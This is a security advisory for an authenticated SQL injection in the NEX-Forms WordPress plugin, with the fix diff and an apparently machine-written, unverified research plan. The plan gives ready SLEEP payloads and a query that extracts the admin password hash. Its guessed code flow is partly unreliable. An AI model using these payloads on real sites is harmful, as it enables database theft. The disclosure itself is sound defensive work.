CVE-2026-7046

NEX-Forms – Ultimate Forms Plugin for WordPress <= 9.1.12 - Authenticated (Administrator+) SQL Injection via 'table' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
9.1.13
Patched in
1d
Time to patch

Description

The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'table' parameter in all versions up to, and including, 9.1.12 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=9.1.12
PublishedMay 14, 2026
Last updatedMay 15, 2026

What Changed in the Fix

Changes introduced in v9.1.13

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in NEX-Forms – Ultimate Forms Plugin for WordPress (<= 9.1.12). --- ### 1. Vulnerability Summary * **Vulnerability:** SQL Injection (Time-based Blind) * **Parameter:** `table` * **Vulnera…

Show full research plan

This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in NEX-Forms – Ultimate Forms Plugin for WordPress (<= 9.1.12).


1. Vulnerability Summary

  • Vulnerability: SQL Injection (Time-based Blind)
  • Parameter: table
  • Vulnerable Component: Administrative Dashboard Record Processing
  • Sink: $wpdb->get_results() (or similar direct database query)
  • Cause: The plugin accepts a table parameter from the user and interpolates it directly into a SQL query string without using $wpdb->prepare() or validating it against an allowlist of valid table names.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (AJAX action) or /wp-admin/admin.php?page=nex-forms-entries (Dashboard page).
  • Action: nf_admin_dashboard_actions (inferred from the nonce name in includes/classes/class.dashboard.php).
  • Payload Parameter: table
  • Authentication: Requires Administrator-level access (capability activate_plugins).
  • Preconditions: The plugin must be active. A nonce is required for the administrative actions.

3. Code Flow

  1. Entry Point: An administrator visits the "Form Entries" page (nex-forms-entries).
  2. Nonce Generation: includes/classes/class.dashboard.php calls wp_create_nonce( 'nf_admin_dashboard_actions' ). This nonce is stored in a hidden div with ID nex_forms_wpnonce.
  3. Vulnerable Call: The dashboard logic (likely within NEXForms_dashboard::print_record_table() or a corresponding AJAX handler) retrieves the table parameter from $_REQUEST['table'] or $_POST['table'].
  4. The Sink: The value of table is used to construct a SQL query:
    // Inferred logic in print_record_table or AJAX handler
    $table = $_REQUEST['table']; 
    $wpdb->get_results("SELECT * FROM {$wpdb->prefix}$table WHERE ...");
    
  5. Injection: Since the table name is not escaped, an attacker can append SQL clauses like WHERE SLEEP(5).

4. Nonce Acquisition Strategy

The nonce is localized in the dashboard HTML.

  1. Navigate: Use browser_navigate to http://localhost:8080/wp-admin/admin.php?page=nex-forms-entries.
  2. Extract: Use browser_eval to extract the nonce from the DOM.
    • JavaScript: document.getElementById('nex_forms_wpnonce').innerText
  3. Variable Name: The nonce is used for the action nf_admin_dashboard_actions.

5. Exploitation Strategy

We will perform a time-based blind SQL injection using the table parameter.

  • Target URL: http://localhost:8080/wp-admin/admin-ajax.php
  • HTTP Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Step 1 (Baseline): Send a request with a valid table name.
    • action=nf_admin_dashboard_actions
    • security=[NONCE]
    • table=wap_nex_forms_entries
  • Step 2 (Injection): Send a request with the sleep payload.
    • Payload: wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    • Full Body: action=nf_admin_dashboard_actions&security=[NONCE]&table=wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
  • Observation: The response time should be significantly higher (~5 seconds).

6. Test Data Setup

  1. User: Ensure an administrator user exists (default admin / password).
  2. Plugin Setup: The plugin must be activated.
  3. Content: Create at least one form entry to ensure the dashboard has data to query, although the injection should work regardless if the query is executed.
    • wp post create --post_type=page --post_content='[nex_forms id="1"]' --post_title='Form Page' --post_status='publish' (Note: Forms are usually created via the NEX-Forms UI; if needed, use WP-CLI to ensure at least one form exists in wp_wap_nex_forms).

7. Expected Results

  • Baseline Request: Returns quickly (< 1s).
  • Payload Request: Returns after ~5 seconds.
  • Success Indicator: A measurable delay in the server response confirming the SQL command was executed.

8. Verification Steps

  1. Time Difference: Calculate response_time_payload - response_time_baseline. If > 4.5s, the injection is successful.
  2. Data Extraction (Optional): To prove data exfiltration, check for the first character of the admin's user pass:
    • Payload: wap_nex_forms_entries WHERE 1=1 AND IF(SUBSTR((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$', SLEEP(5), 0)
    • (Most WP hashes start with $).

9. Alternative Approaches

If the AJAX action name nf_admin_dashboard_actions is incorrect:

  1. Search includes/ for add_action( 'wp_ajax_ to find the correct administrative AJAX handler.
  2. Attempt the injection via a GET request directly to the entries page:
    GET /wp-admin/admin.php?page=nex-forms-entries&table=wap_nex_forms_entries' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    Note: Table names in SQL queries are sometimes wrapped in backticks (`). If the payload fails, try closing the backtick:
    table=wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`
Research Findings
Static analysis — not yet PoC-verified

Summary

The NEX-Forms plugin for WordPress is vulnerable to time-based blind SQL injection via the 'table' parameter in its administrative dashboard. This occurs because the plugin fails to properly validate or sanitize the table name before using it in a database query, allowing authenticated administrators to append arbitrary SQL commands to extract sensitive data.

Vulnerable Code

// includes/classes/class.dashboard.php, approximately line 4219 in version 9.1.12

if(isset($_POST['table']))
    $table = $wpdb->prepare('%s',esc_sql($_POST['table']));
else
    $table = $wpdb->prepare('%s',$this->table);

$table = str_replace('\'','',$table);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.1.12/includes/classes/class.dashboard.php /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.1.13/includes/classes/class.dashboard.php
--- /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.1.12/includes/classes/class.dashboard.php	2026-04-23 08:25:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/nex-forms-express-wp-form-builder/9.1.13/includes/classes/class.dashboard.php	2026-05-14 06:59:52.000000000 +0000
@@ -4216,12 +4216,42 @@
 			else
 				$search_params = $this->search_params;
 			
-			if(isset($_POST['table']))
-				$table = $wpdb->prepare('%s',esc_sql($_POST['table']));
-			else
-				$table = $wpdb->prepare('%s',$this->table);
+			$allowed_tables = array(
+				'wap_nex_forms',
+				'wap_nex_forms_entries',
+				'wap_nex_forms_reports',
+				'wap_nex_forms_email_templates',
+				'wap_nex_forms_views',
+				'wap_nex_forms_stats_interactions',
+				'wap_nex_forms_files',
+				'wap_nex_forms_add_ons'
+			);
+			
+			$user_reports = $wpdb->get_results(
+				'SELECT db_table FROM '.$wpdb->prefix.'wap_nex_forms_reports'
+			);
+			
+			if (!empty($user_reports)) {
+			
+				foreach ($user_reports as $report) {
+					$report_table = sanitize_key($report->db_table);
+					if (!empty($report_table)) {
+						$allowed_tables[] = str_replace($wpdb->prefix,'',$report_table);
+					}
+				}
+			}
+			
+			
 			
-			$table = str_replace('\'','',$table);
+			$allowed_tables = array_unique($allowed_tables);
+						
+			$table = isset($_POST['table'])
+				? sanitize_key($_POST['table'])
+				: sanitize_key($this->table);
+
+			if (!in_array($table, $allowed_tables, true)) {
+				wp_die('Invalid table.');
+			}
 				
 			$where_str = '';
 			$show_hide_field = (isset($_POST['showhide_fields'])) ? str_replace('\'','',$wpdb->prepare('%s',esc_sql(sanitize_text_field($_POST['showhide_fields'])))) : '';

Exploit Outline

The exploit requires Administrator-level authentication. 1. Access the 'Form Entries' dashboard page to retrieve a valid nonce for the 'nf_admin_dashboard_actions' action. 2. Send a POST request to `/wp-admin/admin-ajax.php` with the parameter `action=nf_admin_dashboard_actions` and the retrieved nonce. 3. Include a `table` parameter containing a payload that breaks the intended query logic, such as `wap_nex_forms_entries WHERE 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 4. Observe the response delay to confirm the execution of the injected SQL command.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.